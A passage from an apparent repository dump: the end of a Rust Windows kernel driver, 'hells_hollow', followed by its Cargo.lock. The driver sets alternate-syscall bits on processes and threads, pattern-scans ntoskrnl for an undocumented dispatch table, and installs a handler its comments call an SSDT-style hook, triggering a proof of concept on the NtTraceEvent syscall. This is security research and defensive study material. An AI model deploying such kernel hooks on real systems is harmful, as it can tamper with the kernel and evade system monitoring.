}; 334 | 335 | if result != 0 || cur_proc == next_proc { 336 | break; 337 | } 338 | 339 | cur_proc = next_proc; 340 | 341 | // Now walk the threads of the process 342 | loop { 343 | let result = unsafe { 344 | ZwGetNextThread( 345 | cur_proc, 346 | cur_thread, 347 | THREAD_ALL_ACCESS, 348 | OBJ_KERNEL_HANDLE, 349 | 0, 350 | &mut next_thread, 351 | ) 352 | }; 353 | 354 | if result != 0 || cur_thread == next_thread { 355 | break; 356 | } 357 | 358 | cur_thread = next_thread; 359 | 360 | let mut pe_thread: *mut c_void = null_mut(); 361 | 362 | let _ = unsafe { 363 | ObReferenceObjectByHandle( 364 | cur_thread, 365 | THREAD_ALL_ACCESS, 366 | *PsThreadType, 367 | KernelMode as _, 368 | &mut pe_thread, 369 | null_mut(), 370 | ) 371 | }; 372 | 373 | if !pe_thread.is_null() { 374 | // Before we actually go ahead and set the bits; we wanna check whether the caller is requesting the bits 375 | // set ONLY on certain processes. The below logic will check whether that argument is Some, and if so, 376 | // check the process information to set the bits. 377 | // If it is `None`, we will skip the check and just set all process & thread info 378 | 379 | if let Some(proc_vec) = &isolated_processes { 380 | match thread_to_process_name(pe_thread as *mut _) { 381 | Ok(current_process_name) => { 382 | for needle in proc_vec.into_iter() { 383 | if current_process_name 384 | .to_lowercase() 385 | .contains(&needle.to_lowercase()) 386 | { 387 | println!("Process name found for alt syscalls: {}", needle); 388 | Self::configure_thread_for_alt_syscalls( 389 | pe_thread as *mut _, 390 | status, 391 | ); 392 | Self::configure_process_for_alt_syscalls( 393 | pe_thread as *mut _, 394 | ); 395 | } 396 | } 397 | } 398 | Err(e) => { 399 | println!( 400 | "Unable to get process name to set alt syscall bits on targeted process. {:?}", 401 | e 402 | ); 403 | let _ = unsafe { ObfDereferenceObject(pe_thread) }; 404 | continue; 405 | } 406 | } 407 | } 408 | 409 | Self::configure_thread_for_alt_syscalls(pe_thread as *mut _, status); 410 | Self::configure_process_for_alt_syscalls(pe_thread as *mut _); 411 | 412 | let _ = unsafe { ObfDereferenceObject(pe_thread) }; 413 | } 414 | 415 | handles.push(cur_thread); 416 | } 417 | 418 | // Reset so we can walk the threads again on the next process 419 | cur_thread = null_mut(); 420 | 421 | handles.push(cur_proc); 422 | } 423 | 424 | // Close the handles to dec the ref count 425 | for handle in handles { 426 | let _ = unsafe { ZwClose(handle) }; 427 | } 428 | } 429 | } 430 | 431 | /// The callback routine which we control to run when a system call is dispatched via alt syscalls. 432 | /// It follows here, that we are able to use Hells Hollow to act as a SSDT hook. 433 | pub unsafe extern "system" fn syscall_handler( 434 | _p_nt_function: c_void, 435 | ssn: u32, 436 | args_base: *const c_void, 437 | p3_home: *const c_void, 438 | ) -> i32 { 439 | if args_base.is_null() || p3_home.is_null() { 440 | println!("Args base or arg4 was null??"); 441 | return 1; 442 | } 443 | 444 | match ssn { 445 | NT_TRACE_EVENT_SSN => { 446 | if let Ok(val) = hells_hollow_poc() { 447 | return val; 448 | } 449 | } 450 | _ => (), 451 | } 452 | 453 | 1 454 | } 455 | 456 | /// Get the address of the non-exported kernel symbol: `PspServiceDescriptorGroupTable` 457 | fn lookup_global_table_address(_driver: &DRIVER_OBJECT) -> Result<*mut c_void, DriverError> { 458 | let module = match get_module_base_and_sz("ntoskrnl.exe") { 459 | Ok(k) => k, 460 | Err(e) => { 461 | println!("Unable to get kernel base address. {:?}", e); 462 | return Err(DriverError::ModuleNotFound); 463 | } 464 | }; 465 | 466 | let fn_address = scan_module_for_byte_pattern( 467 | module.base_address, 468 | module.size_of_image, 469 | &[ 470 | // from nt!PsSyscallProviderDispatch 471 | 0x48, 0x89, 0x5c, 0x24, 0x08, //mov qword ptr [rsp+8], rbx 472 | 0x55, // push rbp 473 | 0x56, // push rsi 474 | 0x57, // push rdi 475 | 0x41, 0x56, // push r14 476 | 0x41, 0x57, // push r15 477 | 0x48, 0x83, 0xec, 0x30, // sub rsp, 30h 478 | 0x48, 0x83, 0x64, 0x24, 0x70, 0x00, // and qword ptr [rsp+70h], 0 479 | 0x48, 0x8b, 0xf1, // mov rsi, rcx 480 | 0x65, 0x48, 0x8b, 0x2c, 0x25, 0x88, 0x01, 0x00, 481 | 0x00, // mov rbp, qword ptr gs:[188h] 482 | 0xf6, 0x45, 0x03, 0x04, // test byte ptr [rbp+3], 4 483 | ], 484 | )? as *const u8; 485 | 486 | // offset from fn 487 | let instruction_address = unsafe { fn_address.add(0x77) }; 488 | 489 | println!( 490 | "Instruction address to get offset: {:p}", 491 | instruction_address 492 | ); 493 | 494 | let disp32 = 495 | unsafe { core::ptr::read_unaligned((instruction_address.add(3)) as *const i32) } as isize; 496 | let next_rip = instruction_address as isize + 7; 497 | let absolute = (next_rip + disp32) as *const c_void; 498 | 499 | println!("Address of PspServiceDescriptorGroupTable: {:p}", absolute); 500 | 501 | Ok(absolute as *mut _) 502 | } 503 | 504 | #[inline(always)] 505 | fn get_process_name() -> String { 506 | let mut pkthread: *mut c_void = null_mut(); 507 | 508 | unsafe { 509 | asm!( 510 | "mov {}, gs:[0x188]", 511 | out(reg) pkthread, 512 | ) 513 | }; 514 | let p_eprocess = unsafe { IoThreadToProcess(pkthread as PETHREAD) } as *mut c_void; 515 | 516 | let mut img = unsafe { PsGetProcessImageFileName(p_eprocess) } as *const u8; 517 | let mut current_process_thread_name = String::new(); 518 | let mut counter: usize = 0; 519 | while unsafe { core::ptr::read_unaligned(img) } != 0 || counter < 15 { 520 | current_process_thread_name.push(unsafe { *img } as char); 521 | img = unsafe { img.add(1) }; 522 | counter += 1; 523 | } 524 | 525 | current_process_thread_name 526 | } 527 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "aho-corasick" 7 | version = "1.1.3" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" 10 | dependencies = [ 11 | "memchr", 12 | ] 13 | 14 | [[package]] 15 | name = "anstream" 16 | version = "0.6.19" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "301af1932e46185686725e0fad2f8f2aa7da69dd70bf6ecc44d6b703844a3933" 19 | dependencies = [ 20 | "anstyle", 21 | "anstyle-parse", 22 | "anstyle-query", 23 | "anstyle-wincon", 24 | "colorchoice", 25 | "is_terminal_polyfill", 26 | "utf8parse", 27 | ] 28 | 29 | [[package]] 30 | name = "anstyle" 31 | version = "1.0.11" 32 | source = "registry+https://github.com/rust-lang/crates.io-index" 33 | checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd" 34 | 35 | [[package]] 36 | name = "anstyle-parse" 37 | version = "0.2.7" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" 40 | dependencies = [ 41 | "utf8parse", 42 | ] 43 | 44 | [[package]] 45 | name = "anstyle-query" 46 | version = "1.1.3" 47 | source = "registry+https://github.com/rust-lang/crates.io-index" 48 | checksum = "6c8bdeb6047d8983be085bab0ba1472e6dc604e7041dbf6fcd5e71523014fae9" 49 | dependencies = [ 50 | "windows-sys 0.59.0", 51 | ] 52 | 53 | [[package]] 54 | name = "anstyle-wincon" 55 | version = "3.0.9" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | checksum = "403f75924867bb1033c59fbf0797484329750cfbe3c4325cd33127941fabc882" 58 | dependencies = [ 59 | "anstyle", 60 | "once_cell_polyfill", 61 | "windows-sys 0.59.0", 62 | ] 63 | 64 | [[package]] 65 | name = "anyhow" 66 | version = "1.0.98" 67 | source = "registry+https://github.com/rust-lang/crates.io-index" 68 | checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" 69 | 70 | [[package]] 71 | name = "bindgen" 72 | version = "0.71.1" 73 | source = "registry+https://github.com/rust-lang/crates.io-index" 74 | checksum = "5f58bf3d7db68cfbac37cfc485a8d711e87e064c3d0fe0435b92f7a407f9d6b3" 75 | dependencies = [ 76 | "bitflags", 77 | "cexpr", 78 | "clang-sys", 79 | "itertools", 80 | "log", 81 | "prettyplease", 82 | "proc-macro2", 83 | "quote", 84 | "regex", 85 | "rustc-hash", 86 | "shlex", 87 | "syn", 88 | ] 89 | 90 | [[package]] 91 | name = "bitflags" 92 | version = "2.9.1" 93 | source = "registry+https://github.com/rust-lang/crates.io-index" 94 | checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" 95 | 96 | [[package]] 97 | name = "camino" 98 | version = "1.1.10" 99 | source = "registry+https://github.com/rust-lang/crates.io-index" 100 | checksum = "0da45bc31171d8d6960122e222a67740df867c1dd53b4d51caa297084c185cab" 101 | dependencies = [ 102 | "serde", 103 | ] 104 | 105 | [[package]] 106 | name = "cargo-platform" 107 | version = "0.1.9" 108 | source = "registry+https://github.com/rust-lang/crates.io-index" 109 | checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" 110 | dependencies = [ 111 | "serde", 112 | ] 113 | 114 | [[package]] 115 | name = "cargo_metadata" 116 | version = "0.19.2" 117 | source = "registry+https://github.com/rust-lang/crates.io-index" 118 | checksum = "dd5eb614ed4c27c5d706420e4320fbe3216ab31fa1c33cd8246ac36dae4479ba" 119 | dependencies = [ 120 | "camino", 121 | "cargo-platform", 122 | "semver", 123 | "serde", 124 | "serde_json", 125 | "thiserror", 126 | ] 127 | 128 | [[package]] 129 | name = "cc" 130 | version = "1.2.30" 131 | source = "registry+https://github.com/rust-lang/crates.io-index" 132 | checksum = "deec109607ca693028562ed836a5f1c4b8bd77755c4e132fc5ce11b0b6211ae7" 133 | dependencies = [ 134 | "shlex", 135 | ] 136 | 137 | [[package]] 138 | name = "cexpr" 139 | version = "0.6.0" 140 | source = "registry+https://github.com/rust-lang/crates.io-index" 141 | checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" 142 | dependencies = [ 143 | "nom", 144 | ] 145 | 146 | [[package]] 147 | name = "cfg-if" 148 | version = "1.0.1" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" 151 | 152 | [[package]] 153 | name = "clang-sys" 154 | version = "1.8.1" 155 | source = "registry+https://github.com/rust-lang/crates.io-index" 156 | checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" 157 | dependencies = [ 158 | "glob", 159 | "libc", 160 | "libloading", 161 | ] 162 | 163 | [[package]] 164 | name = "clap" 165 | version = "4.5.41" 166 | source = "registry+https://github.com/rust-lang/crates.io-index" 167 | checksum = "be92d32e80243a54711e5d7ce823c35c41c9d929dc4ab58e1276f625841aadf9" 168 | dependencies = [ 169 | "clap_builder", 170 | "clap_derive", 171 | ] 172 | 173 | [[package]] 174 | name = "clap-cargo" 175 | version = "0.14.1" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e" 178 | dependencies = [ 179 | "anstyle", 180 | "clap", 181 | ] 182 | 183 | [[package]] 184 | name = "clap_builder" 185 | version = "4.5.41" 186 | source = "registry+https://github.com/rust-lang/crates.io-index" 187 | checksum = "707eab41e9622f9139419d573eca0900137718000c517d47da73045f54331c3d" 188 | dependencies = [ 189 | "anstream", 190 | "anstyle", 191 | "clap_lex", 192 | "strsim", 193 | ] 194 | 195 | [[package]] 196 | name = "clap_derive" 197 | version = "4.5.41" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "ef4f52386a59ca4c860f7393bcf8abd8dfd91ecccc0f774635ff68e92eeef491" 200 | dependencies = [ 201 | "heck", 202 | "proc-macro2", 203 | "quote", 204 | "syn", 205 | ] 206 | 207 | [[package]] 208 | name = "clap_lex" 209 | version = "0.7.5" 210 | source = "registry+https://github.com/rust-lang/crates.io-index" 211 | checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" 212 | 213 | [[package]] 214 | name = "colorchoice" 215 | version = "1.0.4" 216 | source = "registry+https://github.com/rust-lang/crates.io-index" 217 | checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" 218 | 219 | [[package]] 220 | name = "either" 221 | version = "1.15.0" 222 | source = "registry+https://github.com/rust-lang/crates.io-index" 223 | checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" 224 | 225 | [[package]] 226 | name = "errno" 227 | version = "0.3.13" 228 | source = "registry+https://github.com/rust-lang/crates.io-index" 229 | checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" 230 | dependencies = [ 231 | "libc", 232 | "windows-sys 0.59.0", 233 | ] 234 | 235 | [[package]] 236 | name = "fs4" 237 | version = "0.12.0" 238 | source = "registry+https://github.com/rust-lang/crates.io-index" 239 | checksum = "c29c30684418547d476f0b48e84f4821639119c483b1eccd566c8cd0cd05f521" 240 | dependencies = [ 241 | "rustix", 242 | "windows-sys 0.52.0", 243 | ] 244 | 245 | [[package]] 246 | name = "glob" 247 | version = "0.3.2" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" 250 | 251 | [[package]] 252 | name = "heck" 253 | version = "0.5.0" 254 | source = "registry+https://github.com/rust-lang/crates.io-index" 255 | checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" 256 | 257 | [[package]] 258 | name = "hells_hollow" 259 | version = "0.1.0" 260 | dependencies = [ 261 | "wdk", 262 | "wdk-alloc", 263 | "wdk-build", 264 | "wdk-panic", 265 | "wdk-sys", 266 | ] 267 | 268 | [[package]] 269 | name = "is_terminal_polyfill" 270 | version = "1.70.1" 271 | source = "registry+https://github.com/rust-lang/crates.io-index" 272 | checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" 273 | 274 | [[package]] 275 | name = "itertools" 276 | version = "0.13.0" 277 | source = "registry+https://github.com/rust-lang/crates.io-index" 278 | checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" 279 | dependencies = [ 280 | "either", 281 | ] 282 | 283 | [[package]] 284 | name = "itoa" 285 | version = "1.0.15" 286 | source = "registry+https://github.com/rust-lang/crates.io-index" 287 | checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" 288 | 289 | [[package]] 290 | name = "lazy_static" 291 | version = "1.5.0" 292 | source = "registry+https://github.com/rust-lang/crates.io-index" 293 | checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" 294 | 295 | [[package]] 296 | name = "libc" 297 | version = "0.2.174" 298 | source = "registry+https://github.com/rust-lang/crates.io-index" 299 | checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" 300 | 301 | [[package]] 302 | name = "libloading" 303 | version = "0.8.8" 304 | source = "registry+https://github.com/rust-lang/crates.io-index" 305 | checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667" 306 | dependencies = [ 307 | "cfg-if", 308 | "windows-targets 0.53.3", 309 | ] 310 | 311 | [[package]] 312 | name = "linux-raw-sys" 313 | version = "0.4.15" 314 | source = "registry+https://github.com/rust-lang/crates.io-index" 315 | checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" 316 | 317 | [[package]] 318 | name = "log" 319 | version = "0.4.27" 320 | source = "registry+https://github.com/rust-lang/crates.io-index" 321 | checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" 322 | 323 | [[package]] 324 | name = "matchers" 325 | version = "0.1.0" 326 | source = "registry+https://github.com/rust-lang/crates.io-index" 327 | checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" 328 | dependencies = [ 329 | "regex-automata 0.1.10", 330 | ] 331 | 332 | [[package]] 333 | name = "memchr" 334 | version = "2.7.5" 335 | source = "registry+https://github.com/rust-lang/crates.io-index" 336 | checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" 337 | 338 | [[package]] 339 | name = "minimal-lexical" 340 | version = "0.2.1" 341 | source = "registry+https://github.com/rust-lang/crates.io-index" 342 | checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" 343 | 344 | [[package]] 345 | name = "nom" 346 | version = "7.1.3" 347 | source = "registry+https://github.com/rust-lang/crates.io-index" 348 | checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" 349 | dependencies = [ 350 | "memchr", 351 | "minimal-lexical", 352 | ] 353 | 354 | [[package]] 355 | name = "nu-ansi-term" 356 | version = "0.46.0" 357 | source = "registry+https://github.com/rust-lang/crates.io-index" 358 | checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" 359 | dependencies = [ 360 | "overload", 361 | "winapi", 362 | ] 363 | 364 | [[package]] 365 | name = "once_cell" 366 | version = "1.21.3" 367 | source = "registry+https://github.com/rust-lang/crates.io-index" 368 | checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" 369 | 370 | [[package]] 371 | name = "once_cell_polyfill" 372 | version = "1.70.1" 373 | source = "registry+https://github.com/rust-lang/crates.io-index" 374 | checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad" 375 | 376 | [[package]] 377 | name = "overload" 378 | version = "0.1.1" 379 | source = "registry+https://github.com/rust-lang/crates.io-index" 380 | checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" 381 | 382 | [[package]] 383 | name = "paste" 384 | version = "1.0.15" 385 | source = "registry+https://github.com/rust-lang/crates.io-index" 386 | checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" 387 | 388 | [[package]] 389 | name = "pin-project-lite" 390 | version = "0.2.16" 391 | source = "registry+https://github.com/rust-lang/crates.io-index" 392 | checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" 393 | 394 | [[package]] 395 | name = "prettyplease" 396 | version = "0.2.36" 397 | source = "registry+https://github.com/rust-lang/crates.io-index" 398 | checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" 399 | dependencies = [ 400 | "proc-macro2", 401 | "syn", 402 | ] 403 | 404 | [[package]] 405 | name = "proc-macro2" 406 | version = "1.0.95" 407 | source = "registry+https://github.com/rust-lang/crates.io-index" 408 | checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" 409 | dependencies = [ 410 | "unicode-ident", 411 | ] 412 | 413 | [[package]] 414 | name = "quote" 415 | version = "1.0.40" 416 | source = "registry+https://github.com/rust-lang/crates.io-index" 417 | checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" 418 | dependencies = [ 419 | "proc-macro2", 420 | ] 421 | 422 | [[package]] 423 | name = "regex" 424 | version = "1.11.1" 425 | source = "registry+https://github.com/rust-lang/crates.io-index" 426 | checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" 427 | dependencies = [ 428 | "aho-corasick", 429 | "memchr", 430 | "regex-automata 0.4.9", 431 | "regex-syntax 0.8.5", 432 | ] 433 | 434 | [[package]] 435 | name = "regex-automata" 436 | version = "0.1.10" 437 | source = "registry+https://github.com/rust-lang/crates.io-index" 438 | checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" 439 | dependencies = [ 440 | "regex-syntax 0.6.29", 441 | ] 442 | 443 | [[package]] 444 | name = "regex-automata" 445 | version = "0.4.9" 446 | source = "registry+https://github.com/rust-lang/crates.io-index" 447 | checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" 448 | dependencies = [ 449 | "aho-corasick", 450 | "memchr", 451 | "regex-syntax 0.8.5", 452 | ] 453 | 454 | [[package]] 455 | name = "regex-syntax" 456 | version = "0.6.29" 457 | source = "registry+https://github.com/rust-lang/crates.io-index" 458 | checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" 459 | 460 | [[package]] 461 | name = "regex-syntax" 462 | version = "0.8.5" 463 | source = "registry+https://github.com/rust-lang/crates.io-index" 464 | checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" 465 | 466 | [[package]] 467 | name = "rustc-hash" 468 | version = "2.1.1" 469 | source = "registry+https://github.com/rust-lang/crates.io-index" 470 | checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" 471 | 472 | [[package]] 473 | name = "rustix" 474 | version = "0.38.44" 475 | source = "registry+https://github.com/rust-lang/crates.io-index" 476 | checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" 477 | dependencies = [ 478 | "bitflags", 479 | "errno", 480 | "libc", 481 | "linux-raw-sys", 482 | "windows-sys 0.59.0", 483 | ] 484 | 485 | [[package]] 486 | name = "rustversion" 487 | version = "1.0.21" 488 | source = "registry+https://github.com/rust-lang/crates.io-index" 489 | checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d" 490 | 491 | [[package]] 492 | name = "ryu" 493 | version = "1.0.20" 494 | source = "registry+https://github.com/rust-lang/crates.io-index" 495 | checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" 496 | 497 | [[package]] 498 | name = "scratch" 499 | version = "1.0.8" 500 | source = "registry+https://github.com/rust-lang/crates.io-index" 501 | checksum = "9f6280af86e5f559536da57a45ebc84948833b3bee313a7dd25232e09c878a52" 502 | 503 | [[package]] 504 | name = "semver" 505 | version = "1.0.26" 506 | source = "registry+https://github.com/rust-lang/crates.io-index" 507 | checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" 508 | dependencies = [ 509 | "serde", 510 | ] 511 | 512 | [[package]] 513 | name = "serde" 514 | version = "1.0.219" 515 | source = "registry+https://github.com/rust-lang/crates.io-index" 516 | checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" 517 | dependencies = [ 518 | "serde_derive", 519 | ] 520 | 521 | [[package]] 522 | name = "serde_derive" 523 | version = "1.0.219" 524 | source = "registry+https://github.com/rust-lang/crates.io-index" 525 | checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" 526 | dependencies = [ 527 | "proc-macro2", 528 | "quote", 529 | "syn", 530 | ] 531 | 532 | [[package]] 533 | name = "serde_json" 534 | version = "1.0.141" 535 | source = "registry+https://github.com/rust-lang/crates.io-index" 536 | checksum = "30b9eff21ebe718216c6ec64e1d9ac57087aad11efc64e32002bce4a0d4c03d3" 537 | dependencies = [ 538 | "itoa", 539 | "memchr", 540 | "ryu", 541 | "serde", 542 | ] 543 | 544 | [[package]] 545 | name = "sharded-slab" 546 | version = "0.1.7" 547 | source = "registry+https://github.com/rust-lang/crates.io-index" 548 | checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" 549 | dependencies = [ 550 | "lazy_static", 551 | ] 552 | 553 | [[package]] 554 | name = "shlex" 555 | version = "1.3.0" 556 | source = "registry+https://github.com/rust-lang/crates.io-index" 557 | checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" 558 | 559 | [[package]] 560 | name = "smallvec" 561 | version = "1.15.1" 562 | source = "registry+https://github.com/rust-lang/crates.io-index" 563 | checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" 564 | 565 | [[package]] 566 | name = "strsim" 567 | version = "0.11.1" 568 | source = "registry+https://github.com/rust-lang/crates.io-index" 569 | checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" 570 | 571 | [[package]] 572 | name = "syn" 573 | version = "2.0.104" 574 | source = "registry+https://github.com/rust-lang/crates.io-index" 575 | checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40" 576 | dependencies = [ 577 | "proc-macro2", 578 | "quote", 579 | "unicode-ident", 580 | ] 581 | 582 | [[package]] 583 | name = "thiserror" 584 | version = "2.0.12" 585 | source = "registry+https://github.com/rust-lang/crates.io-index" 586 | checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708" 587 | dependencies = [ 588 | "thiserror-impl", 589 | ] 590 | 591 | [[package]] 592 | name = "thiserror-impl" 593 | version = "2.0.12" 594 | source = "registry+https://github.com/rust-lang/crates.io-index" 595 | checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d" 596 | dependencies = [ 597 | "proc-macro2", 598 | "quote", 599 | "syn", 600 | ] 601 | 602 | [[package]] 603 | name = "thread_local" 604 | version = "1.1.9" 605 | source = "registry+https://github.com/rust-lang/crates.io-index" 606 | checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" 607 | dependencies = [ 608 | "cfg-if", 609 | ] 610 | 611 | [[package]] 612 | name = "tracing" 613 | version = "0.1.41" 614 | source = "registry+https://github.com/rust-lang/crates.io-index" 615 | checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" 616 | dependencies = [ 617 | "pin-project-lite", 618 | "tracing-attributes", 619 | "tracing-core", 620 | ] 621 | 622 | [[package]] 623 | name = "tracing-attributes" 624 | version = "0.1.30" 625 | source = "registry+https://github.com/rust-lang/crates.io-index" 626 | checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903" 627 | dependencies = [ 628 | "proc-macro2", 629 | "quote", 630 | "syn", 631 | ] 632 | 633 | [[package]] 634 | name = "tracing-core" 635 | version = "0.1.34" 636 | source = "registry+https://github.com/rust-lang/crates.io-index" 637 | checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" 638 | dependencies = [ 639 | "once_cell", 640 | "valuable", 641 | ] 642 | 643 | [[package]] 644 | name = "tracing-log" 645 | version = "0.2.0" 646 | source = "registry+https://github.com/rust-lang/crates.io-index" 647 | checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" 648 | dependencies = [ 649 | "log", 650 | "once_cell", 651 | "tracing-core", 652 | ] 653 | 654 | [[package]] 655 | name = "tracing-subscriber" 656 | version = "0.3.19" 657 | source = "registry+https://github.com/rust-lang/crates.io-index" 658 | checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008" 659 | dependencies = [ 660 | "matchers", 661 | "nu-ansi-term", 662 | "once_cell", 663 | "regex", 664 | "sharded-slab", 665 | "smallvec", 666 | "thread_local", 667 | "tracing", 668 | "tracing-core", 669 | "tracing-log", 670 | ] 671 | 672 | [[package]] 673 | name = "unicode-ident" 674 | version = "1.0.18" 675 | source = "registry+https://github.com/rust-lang/crates.io-index" 676 | checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" 677 | 678 | [[package]] 679 | name = "utf8parse" 680 | version = "0.2.2" 681 | source = "registry+https://github.com/rust-lang/crates.io-index" 682 | checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" 683 | 684 | [[package]] 685 | name = "valuable" 686 | version = "0.1.1" 687 | source = "registry+https://github.com/rust-lang/crates.io-index" 688 | checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" 689 | 690 | [[package]] 691 | name = "wdk" 692 | version = "0.3.1" 693 | source = "registry+https://github.com/rust-lang/crates.io-index" 694 | checksum = "e54179fc537fa0c8da80cc7c513787a4f408331f2f7d7b1c31b0fafd39eee516" 695 | dependencies = [ 696 | "cfg-if", 697 | "tracing", 698 | "tracing-subscriber", 699 | "wdk-build", 700 | "wdk-sys", 701 | ] 702 | 703 | [[package]] 704 | name = "wdk-alloc" 705 | version = "0.3.1" 706 | source = "registry+https://github.com/rust-lang/crates.io-index" 707 | checksum = "5c349e2078aba5359ea06d97ab5e85bfe178ac70a97407f54a1090165c732196" 708 | dependencies = [ 709 | "tracing", 710 | "tracing-subscriber", 711 | "wdk-build", 712 | "wdk-sys", 713 | ] 714 | 715 | [[package]] 716 | name = "wdk-build" 717 | version = "0.4.0" 718 | source = "registry+https://github.com/rust-lang/crates.io-index" 719 | checksum = "5e3f0b26b6fa28e8f68a01a9d93c13433311a24e477c614659bf9e72fd9f7e26" 720 | dependencies = [ 721 | "anyhow", 722 | "bindgen", 723 | "camino", 724 | "cargo_metadata", 725 | "cfg-if", 726 | "clap", 727 | "clap-cargo", 728 | "paste", 729 | "rustversion", 730 | "semver", 731 | "serde", 732 | "serde_json", 733 | "thiserror", 734 | "tracing", 735 | "windows", 736 | ] 737 | 738 | 